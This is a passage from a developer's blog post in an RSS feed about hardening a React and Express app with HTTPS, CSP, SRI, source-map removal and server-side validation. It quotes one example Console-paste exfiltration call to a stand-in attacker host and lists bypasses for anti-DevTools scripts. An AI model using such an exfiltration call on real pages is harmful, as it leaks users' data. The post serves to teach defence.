<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shree Harsha Boyapati</title>
    <description>The latest articles on DEV Community by Shree Harsha Boyapati (@shreeharsha_boyapati).</description>
    <link>https://dev.to/shreeharsha_boyapati</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4063581%2F622e6aa6-55a0-4fd9-85f0-efdeca874dd7.png</url>
      <title>DEV Community: Shree Harsha Boyapati</title>
      <link>https://dev.to/shreeharsha_boyapati</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/shreeharsha_boyapati"/>
    <language>en</language>
    <item>
      <title>I Tried to "Disable Inspect" — and Learned the Right Question to Ask Instead</title>
      <dc:creator>Shree Harsha Boyapati</dc:creator>
      <pubDate>Sun, 16 Aug 2026 13:36:22 +0000</pubDate>
      <link>https://dev.to/shreeharsha_boyapati/i-tried-to-disable-inspect-and-learned-the-right-question-to-ask-instead-1nfb</link>
      <guid>https://dev.to/shreeharsha_boyapati/i-tried-to-disable-inspect-and-learned-the-right-question-to-ask-instead-1nfb</guid>
      <description>&lt;p&gt;It started, like a lot of rabbit holes do, with an observation: &lt;strong&gt;Gemini stops its JavaScript when you open DevTools.&lt;/strong&gt; Open the inspector and the page freezes. I thought that was neat and wanted to do the same thing in my own app — just &lt;em&gt;disable inspect&lt;/em&gt; and be done with it.&lt;/p&gt;

&lt;p&gt;This post is the short version of where that took me: why "disable inspect" is the wrong goal, and what I ended up building instead — a small &lt;strong&gt;defence-in-depth&lt;/strong&gt; stack on a React + Express app.&lt;/p&gt;




&lt;h2&gt;
  
  
  Chapter 1: The temptation — "just block DevTools"
&lt;/h2&gt;

&lt;p&gt;I went looking for ways to detect/block DevTools. There's a well-known npm package called &lt;code&gt;disable-devtool&lt;/code&gt; that bundles every known trick:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intercepting F12 / Ctrl+Shift+I / right-click&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;debugger;&lt;/code&gt; statement on a loop that pauses execution when DevTools is open (this is what Gemini does)&lt;/li&gt;
&lt;li&gt;Timing-based detection (DevTools slows down &lt;code&gt;toString()&lt;/code&gt; calls)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;console.clear()&lt;/code&gt; spam&lt;/li&gt;
&lt;li&gt;Viewport-size diffs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's the catch I kept hitting: &lt;strong&gt;none of it actually stops a determined user.&lt;/strong&gt; Every technique has a documented bypass:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Bypass&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Block F12 / right-click&lt;/td&gt;
&lt;td&gt;Open DevTools from the browser menu (⋮ → More Tools)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;debugger;&lt;/code&gt; loop&lt;/td&gt;
&lt;td&gt;Disable all breakpoints (Ctrl+F8) — it becomes a no-op&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timing detection&lt;/td&gt;
&lt;td&gt;Open DevTools undocked — viewport doesn't change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Any client-side check&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--auto-open-devtools-for-tabs&lt;/code&gt; flag, or a proxy like mitmproxy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The brutal truth: &lt;strong&gt;DevTools is the user's tool, not the server's.&lt;/strong&gt; You can't control it from a web page. Microsoft Edge once &lt;em&gt;considered&lt;/em&gt; proposing an HTTP header to disable DevTools for banking sites and dropped it because it conflicts with browser architecture.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Christian Heilmann (ex-Edge team) called these scripts &lt;em&gt;"impressive, but in the end just a nuisance."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So if blocking the tool is a dead end, what's the real goal?&lt;/p&gt;




&lt;h2&gt;
  
  
  Chapter 2: The mindset shift
&lt;/h2&gt;

&lt;p&gt;This is the insight that rerouted the whole project:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The goal isn't to stop someone from opening DevTools. The goal is to make the app resilient &lt;em&gt;regardless of whether DevTools is open&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Security experts are pretty unanimous on this (OWASP, NIST, Schneier):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ Anti-DevTools scripts as &lt;em&gt;standalone&lt;/em&gt; security → rejected (security through obscurity)&lt;/li&gt;
&lt;li&gt;✅ Obfuscation as a &lt;em&gt;supplementary&lt;/em&gt; layer → acceptable&lt;/li&gt;
&lt;li&gt;✅ CSP, SRI, server-side validation, rate limiting → &lt;strong&gt;required&lt;/strong&gt; for real security&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That reframing turned "how do I disable inspect?" into "how do I layer defences so that having DevTools open doesn't help an attacker?" — i.e. &lt;strong&gt;defence in depth&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Chapter 3: Defence in depth, checkpoint by checkpoint
&lt;/h2&gt;

&lt;p&gt;I broke the work into ordered checkpoints. The order matters — each one depends on the one before it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checkpoint 0 — Enable HTTPS (the foundation)
&lt;/h3&gt;

&lt;p&gt;Every security header is just text in an HTTP response. On plain HTTP, a man-in-the-middle (coffee-shop Wi-Fi, ISP, corporate proxy) can &lt;strong&gt;read, modify, or delete&lt;/strong&gt; that text before the browser sees it. Your CSP, your &lt;code&gt;nosniff&lt;/code&gt;, all of it — silently stripped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal:   Server ────────────────► Browser   "CSP: default-src 'self'"
MITM:     Server ──► Attacker ──► Browser    (attacker strips CSP)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HTTPS makes tampering impossible by encrypting &lt;em&gt;and&lt;/em&gt; authenticating the response. Without it, every later checkpoint is a polite suggestion.&lt;/p&gt;

&lt;p&gt;For local dev I used &lt;strong&gt;&lt;code&gt;mkcert&lt;/code&gt;&lt;/strong&gt; (trusted self-signed certs). For production, a managed platform (Render/Railway/Fly.io) terminates TLS for you, or Let's Encrypt + &lt;code&gt;certbot&lt;/code&gt; if you run your own server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// server.js — HTTPS with mkcert certs in dev&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;https&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sslOptions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;certs/localhost+1-key.pem&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;certs/localhost+1.pem&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sslOptions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Checkpoint 1 — HTTP-level hardening (free, and the biggest bang-for-buck)
&lt;/h3&gt;

&lt;p&gt;You can't disable DevTools from the server, but you &lt;em&gt;can&lt;/em&gt; tell the browser what the page is allowed to do — &lt;strong&gt;before any JavaScript runs&lt;/strong&gt; — via response headers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// server.js&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;default-src 'self'; script-src 'self'; connect-src 'self'; &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;frame-ancestors 'none'; base-uri 'none'; form-action 'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;max-age=63072000; includeSubDomains; preload&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;nosniff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Referrer-Policy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;strict-origin-when-cross-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Cross-Origin-Opener-Policy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Cross-Origin-Embedder-Policy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;require-corp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The star is &lt;strong&gt;Content-Security-Policy&lt;/strong&gt;. The classic attack it stops: an attacker with remote access talks a victim into opening DevTools and pasting code into the Console. Without CSP, that code does &lt;code&gt;fetch('https://attacker.com/steal?data=...')&lt;/code&gt; and exfiltrates everything. &lt;strong&gt;With &lt;code&gt;connect-src 'self'&lt;/code&gt;, that fetch is blocked at the browser level&lt;/strong&gt; — the pasted code inherits the page's CSP.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;CSP doesn't stop someone from &lt;em&gt;reading&lt;/em&gt; the DOM in DevTools. It stops them from &lt;em&gt;exfiltrating&lt;/em&gt; what they read.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  The edge cases I had to keep in mind
&lt;/h4&gt;

&lt;p&gt;This checkpoint is where I spent the most time, because a strict CSP quietly breaks things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;React is fine, raw HTML isn't.&lt;/strong&gt; React's &lt;code&gt;onClick={handleClick}&lt;/code&gt; uses &lt;code&gt;addEventListener&lt;/code&gt; under the hood — no inline script string, so &lt;code&gt;script-src 'self'&lt;/code&gt; with &lt;em&gt;no&lt;/em&gt; &lt;code&gt;unsafe-inline&lt;/code&gt; doesn't break it. Raw &lt;code&gt;&amp;lt;button onclick="..."&amp;gt;&lt;/code&gt; would be blocked.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Third-party libraries are the real risk.&lt;/strong&gt; A strict CSP forbids &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;new Function&lt;/code&gt;, inline &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;, and cross-origin &lt;code&gt;fetch&lt;/code&gt;/&lt;code&gt;script&lt;/code&gt;/&lt;code&gt;font&lt;/code&gt;. Many popular libs use these internally and &lt;em&gt;silently stop working in production&lt;/em&gt;. The danger isn't that they break — it's the temptation to "fix" them by relaxing the policy:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;   script-src 'self' 'unsafe-eval' 'unsafe-inline'   # ← the Layer 1 defence just collapsed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding &lt;code&gt;'unsafe-eval'&lt;/code&gt; reopens the exact primitives the Console-paste attack relies on. &lt;strong&gt;If a lib needs &lt;code&gt;unsafe-eval&lt;/code&gt; or &lt;code&gt;unsafe-inline&lt;/code&gt;, it's incompatible with this layer — replace it.&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Vite dev vs prod CSP split.&lt;/strong&gt; Vite's HMR/React Refresh uses &lt;code&gt;eval&lt;/code&gt; and inline scripts, so a strict prod CSP breaks HMR in dev. Fix: &lt;strong&gt;two different CSPs&lt;/strong&gt;, gated behind &lt;code&gt;NODE_ENV&lt;/code&gt;. I also only enable CORS in dev (Vite on :5173, Express on :3000 are cross-origin); in prod the backend serves the built bundle on one origin.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;   &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isProduction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cors&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:5173&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Roll out safely.&lt;/strong&gt; Start with &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; (reports violations without blocking), fix every violation, then flip to enforcement. Keep Report-Only alongside it for new libraries.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Checkpoint 2 — Resource integrity (close the leaks CSP can't)
&lt;/h3&gt;

&lt;p&gt;CSP controls &lt;em&gt;who&lt;/em&gt; can run on your page. Checkpoint 2 closes two gaps CSP can't:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A) What if a CDN you trust is itself compromised?&lt;/strong&gt; CSP allows it (it's allowlisted), but the bytes changed. &lt;strong&gt;Subresource Integrity (SRI)&lt;/strong&gt; pins a cryptographic hash in the tag so the browser refuses to run a tampered script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://cdn.example.com/lib.js"&lt;/span&gt;
        &lt;span class="na"&gt;integrity=&lt;/span&gt;&lt;span class="s"&gt;"sha384-oqVuAfXRKap7..."&lt;/span&gt;
        &lt;span class="na"&gt;crossorigin=&lt;/span&gt;&lt;span class="s"&gt;"anonymous"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without SRI: attacker compromises the CDN → serves malware → browser runs it ("it's on the allowlist!").&lt;br&gt;
With SRI: &lt;code&gt;hash(malicious) ≠ pinned hash&lt;/code&gt; → browser &lt;strong&gt;refuses to execute&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;crossorigin&lt;/code&gt; is mandatory — SRI needs CORS to read the bytes for hashing. Forget it and verification silently fails.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;B) What if your own bundle leaks readable source via &lt;code&gt;.map&lt;/code&gt; files?&lt;/strong&gt; A source map handed to anyone with DevTools open is a free map from your minified bundle back to the readable source. This leak is &lt;em&gt;invisible&lt;/em&gt; — no Console entry, no Network entry for the silent &lt;code&gt;sourceMappingURL&lt;/code&gt; fetch.&lt;/p&gt;

&lt;p&gt;So: disable source maps in production, strip the &lt;code&gt;sourceMappingURL&lt;/code&gt; comment, and make the server return 404 for any &lt;code&gt;*.map&lt;/code&gt; request as defence in depth.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// vite.config.js&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;(({&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;sourcemap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;production&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// no maps in prod&lt;/span&gt;
    &lt;span class="na"&gt;minify&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;terser&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;terserOptions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="c1"&gt;// strip sourceMappingURL&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// server.js — block stale .map files before static middleware serves them&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isProduction&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;endsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.map&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CSP and SRI are &lt;strong&gt;complementary&lt;/strong&gt;: CSP controls origin trust, SRI controls byte-level integrity. CSP without SRI is vulnerable to CDN compromise; SRI without CSP is vulnerable to HTML injection (attacker just removes the &lt;code&gt;integrity&lt;/code&gt; attribute). You need both.&lt;/p&gt;




&lt;h3&gt;
  
  
  Checkpoint 3 — Server-side validation (the core)
&lt;/h3&gt;

&lt;p&gt;Checkpoints 0–2 make the page resilient to what someone does &lt;em&gt;inside&lt;/em&gt; DevTools. Checkpoint 3 is the principle that makes DevTools genuinely irrelevant: &lt;strong&gt;never trust the client for a security decision.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If an attacker edits a form's values in the Console and submits, or modifies a price hidden in state — the &lt;em&gt;server&lt;/em&gt; must reject it. Concretely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every privileged action (transfers, settings changes, deletions) is validated server-side&lt;/li&gt;
&lt;li&gt;High-value actions require &lt;strong&gt;step-up auth&lt;/strong&gt; (2FA / push notification)&lt;/li&gt;
&lt;li&gt;Any "security logic" that lived client-side (price calc, discount eligibility, access control) moves to the server&lt;/li&gt;
&lt;li&gt;Sensitive data (tokens, PII) lives in &lt;code&gt;HttpOnly; Secure&lt;/code&gt; cookies — never &lt;code&gt;localStorage&lt;/code&gt;, which any Console snippet can read&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the biggest checkpoint and the most important. CSP can't stop someone from &lt;em&gt;visually&lt;/em&gt; faking "transfer succeeded" in the DOM — only server-side transaction confirmation can.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;CSP stops exfiltration. Server-side validation stops forgery. You need both.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  How I verified it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTPS&lt;/strong&gt;: &lt;code&gt;curl -k https://localhost:3000&lt;/code&gt; works; no browser cert warnings (mkcert is trusted locally).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP&lt;/strong&gt;: &lt;code&gt;curl -I&lt;/code&gt; shows all headers; a &lt;code&gt;fetch()&lt;/code&gt; to a third-party domain from the Console is blocked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Source maps&lt;/strong&gt;: no &lt;code&gt;.map&lt;/code&gt; files in &lt;code&gt;dist/&lt;/code&gt;; requesting any &lt;code&gt;*.map&lt;/code&gt; URL in prod returns &lt;code&gt;404&lt;/code&gt;; no &lt;code&gt;//# sourceMappingURL=&lt;/code&gt; comment in the bundle; the Sources panel shows only minified, mangled code.&lt;/li&gt;
&lt;li&gt;
